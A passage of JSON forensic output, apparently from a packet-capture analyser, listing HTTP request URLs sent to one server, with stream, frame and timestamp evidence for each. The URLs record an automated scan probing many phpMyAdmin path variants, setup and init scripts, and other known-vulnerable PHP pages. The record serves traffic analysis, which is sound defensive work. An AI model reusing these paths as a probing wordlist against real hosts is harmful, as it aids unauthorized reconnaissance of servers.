            "display_filter": "frame.number == 2166",
            "timestamp_epoch": "1577256363.340451000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-34356a85f3b7bb945c80f778",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin-old/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2212,
            "display_filter": "frame.number == 2212",
            "timestamp_epoch": "1577256379.084904000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cca287afb9de5b1e437b2737",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin._/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2292,
            "display_filter": "frame.number == 2292",
            "timestamp_epoch": "1577256401.891977000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d677bf000765a41d167a0cc9",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin._2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2295,
            "display_filter": "frame.number == 2295",
            "timestamp_epoch": "1577256402.932321000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-af625056d0a4ed30a7c0a4e3",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin.old/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2218,
            "display_filter": "frame.number == 2218",
            "timestamp_epoch": "1577256379.692201000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e439d8c4e3e75f9b6c4c6a2e",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2072,
            "display_filter": "frame.number == 2072",
            "timestamp_epoch": "1577256336.022081000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f32c53b4443d91daf054fc3d",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2076,
            "display_filter": "frame.number == 2076",
            "timestamp_epoch": "1577256337.564523000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4737c5f765df4185881b5de1",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin/phpmyadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2234,
            "display_filter": "frame.number == 2234",
            "timestamp_epoch": "1577256384.100625000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-77b4dc44e1b50f6227b1ad8f",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2237,
            "display_filter": "frame.number == 2237",
            "timestamp_epoch": "1577256385.427063000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-71a2f55ad79195d63911e9df",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 224,
            "display_filter": "frame.number == 224",
            "timestamp_epoch": "1577255399.514678000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6c0e780df86f27bca9e69776",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 227,
            "display_filter": "frame.number == 227",
            "timestamp_epoch": "1577255399.791954000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2879426063b89f1910313ba3",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 214,
            "display_filter": "frame.number == 214",
            "timestamp_epoch": "1577255398.680522000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e7a93ec4d6abdc3975248ac3",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 218,
            "display_filter": "frame.number == 218",
            "timestamp_epoch": "1577255398.960755000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4e1492bbf352741f01db0ee6",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin0/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2157,
            "display_filter": "frame.number == 2157",
            "timestamp_epoch": "1577256361.973616000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-535c43da8c0912bdf044cc72",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin1/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2160,
            "display_filter": "frame.number == 2160",
            "timestamp_epoch": "1577256362.271075000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a4efe512e22f3f3392acbd9d",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin1/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2274,
            "display_filter": "frame.number == 2274",
            "timestamp_epoch": "1577256398.162835000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1a2ea4212a02a97c71e35f87",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin123/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2277,
            "display_filter": "frame.number == 2277",
            "timestamp_epoch": "1577256398.524749000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5fcd608609dd1de4192d900e",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2163,
            "display_filter": "frame.number == 2163",
            "timestamp_epoch": "1577256362.549033000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3ff1165dcbb33f59f41374bc",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin2222/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2298,
            "display_filter": "frame.number == 2298",
            "timestamp_epoch": "1577256405.552418000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-934af5dc4c9993c6e34b7676",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin333/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2301,
            "display_filter": "frame.number == 2301",
            "timestamp_epoch": "1577256405.813137000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2787c9dea7d7e7048415ad5e",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadmin3333/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2304,
            "display_filter": "frame.number == 2304",
            "timestamp_epoch": "1577256406.553728000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b6db25f25e74f3e5057eb1c4",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.0/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2169,
            "display_filter": "frame.number == 2169",
            "timestamp_epoch": "1577256363.618286000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-29167148068014a86c881b30",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.1/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2172,
            "display_filter": "frame.number == 2172",
            "timestamp_epoch": "1577256365.655912000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3354383b862293a34be1523c",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2175,
            "display_filter": "frame.number == 2175",
            "timestamp_epoch": "1577256366.452173000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-83b0dc9c4f2e7f30559bc972",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.3/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2178,
            "display_filter": "frame.number == 2178",
            "timestamp_epoch": "1577256367.655937000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f81ef17552c31fb6de64ad5f",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.4/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2181,
            "display_filter": "frame.number == 2181",
            "timestamp_epoch": "1577256367.935012000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-42da57fa046ebd91b2fc9ab0",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin4.8.5/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2190,
            "display_filter": "frame.number == 2190",
            "timestamp_epoch": "1577256373.477836000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c56fa86681856987254fdcc5",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin_111/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2322,
            "display_filter": "frame.number == 2322",
            "timestamp_epoch": "1577256408.122528000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5714cdc50e5340d9c7b66baf",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin__/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2243,
            "display_filter": "frame.number == 2243",
            "timestamp_epoch": "1577256388.749870000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b6b904b8fb82bf12ac99ca17",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin_ai/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2358,
            "display_filter": "frame.number == 2358",
            "timestamp_epoch": "1577256429.188791000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-43c3d4b803723956b0499063",
        "type": "url",
        "value": "http://128.199.64.235/phpMyadmin_bak/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2203,
            "display_filter": "frame.number == 2203",
            "timestamp_epoch": "1577256377.556991000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9709972b509cc560408a5ca1",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmina/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2283,
            "display_filter": "frame.number == 2283",
            "timestamp_epoch": "1577256399.520930000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d5786fd745755d78dece79a2",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdminhf/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2345,
            "display_filter": "frame.number == 2345",
            "timestamp_epoch": "1577256425.836485000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-939b2e6af0eff6f0f638d236",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdminn/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2335,
            "display_filter": "frame.number == 2335",
            "timestamp_epoch": "1577256409.996077000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-694aebb4659188054ec89d01",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdminold/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2215,
            "display_filter": "frame.number == 2215",
            "timestamp_epoch": "1577256379.375596000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b2ef79a5267c34b23e6f7cec",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmins/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2289,
            "display_filter": "frame.number == 2289",
            "timestamp_epoch": "1577256401.615964000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-07ad83b7a7cfe7aa1c6f94c9",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmion/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2264,
            "display_filter": "frame.number == 2264",
            "timestamp_epoch": "1577256393.925589000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0b02590cd0d446eb7640bfa0",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmln/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2355,
            "display_filter": "frame.number == 2355",
            "timestamp_epoch": "1577256426.653878000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-81c41adb6ca9e2eb1ba7a0ed",
        "type": "url",
        "value": "http://128.199.64.235/phpMydmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2286,
            "display_filter": "frame.number == 2286",
            "timestamp_epoch": "1577256400.391241000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-64d291fbbbde232eed62fe57",
        "type": "url",
        "value": "http://128.199.64.235/phpNyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2313,
            "display_filter": "frame.number == 2313",
            "timestamp_epoch": "1577256407.341401000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bceef2e18f20c27297f99c1d",
        "type": "url",
        "value": "http://128.199.64.235/phppma/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2371,
            "display_filter": "frame.number == 2371",
            "timestamp_epoch": "1577256436.978543000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7e761ed64aa26ba8179e77d9",
        "type": "url",
        "value": "http://128.199.64.235/phpstudy.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1110,
            "display_filter": "frame.number == 1110",
            "timestamp_epoch": "1577255824.636495000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28ffb7ecc90733c007b25c1b",
        "type": "url",
        "value": "http://128.199.64.235/phpStudy.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1113,
            "display_filter": "frame.number == 1113",
            "timestamp_epoch": "1577255824.903654000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0d4a177a8359d48e1d5ad743",
        "type": "url",
        "value": "http://128.199.64.235/pk1914.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1066,
            "display_filter": "frame.number == 1066",
            "timestamp_epoch": "1577255809.787145000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-56eb23f2973bdbdcabb55d7d",
        "type": "url",
        "value": "http://128.199.64.235/plugins/weathermap/editor.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 255,
            "display_filter": "frame.number == 255",
            "timestamp_epoch": "1577255405.559617000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0e0d2c76b5b3d10bbd33ec69",
        "type": "url",
        "value": "http://128.199.64.235/pma-old/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2221,
            "display_filter": "frame.number == 2221",
            "timestamp_epoch": "1577256380.118794000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ddf8c5daebfbfc5e448d273a",
        "type": "url",
        "value": "http://128.199.64.235/pma.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1592,
            "display_filter": "frame.number == 1592",
            "timestamp_epoch": "1577256085.217532000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d6e8f96f970f8a55d101e602",
        "type": "url",
        "value": "http://128.199.64.235/pma/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2082,
            "display_filter": "frame.number == 2082",
            "timestamp_epoch": "1577256338.462650000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b08315d7a3e7559105c31e4b",
        "type": "url",
        "value": "http://128.199.64.235/PMA/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2085,
            "display_filter": "frame.number == 2085",
            "timestamp_epoch": "1577256339.246546000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c8070f4df65593d1d6813913",
        "type": "url",
        "value": "http://128.199.64.235/pma/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 243,
            "display_filter": "frame.number == 243",
            "timestamp_epoch": "1577255403.207683000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-981a86d4c59576f846cd80ca",
        "type": "url",
        "value": "http://128.199.64.235/PMA/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 246,
            "display_filter": "frame.number == 246",
            "timestamp_epoch": "1577255403.485514000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c494005287558ba24f4c91a6",
        "type": "url",
        "value": "http://128.199.64.235/pma/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 230,
            "display_filter": "frame.number == 230",
            "timestamp_epoch": "1577255400.070894000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-04ad571b8e2c678b774e4655",
        "type": "url",
        "value": "http://128.199.64.235/PMA/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 233,
            "display_filter": "frame.number == 233",
            "timestamp_epoch": "1577255401.768466000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1b7961472be9d6317317d934",
        "type": "url",
        "value": "http://128.199.64.235/PMA2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2088,
            "display_filter": "frame.number == 2088",
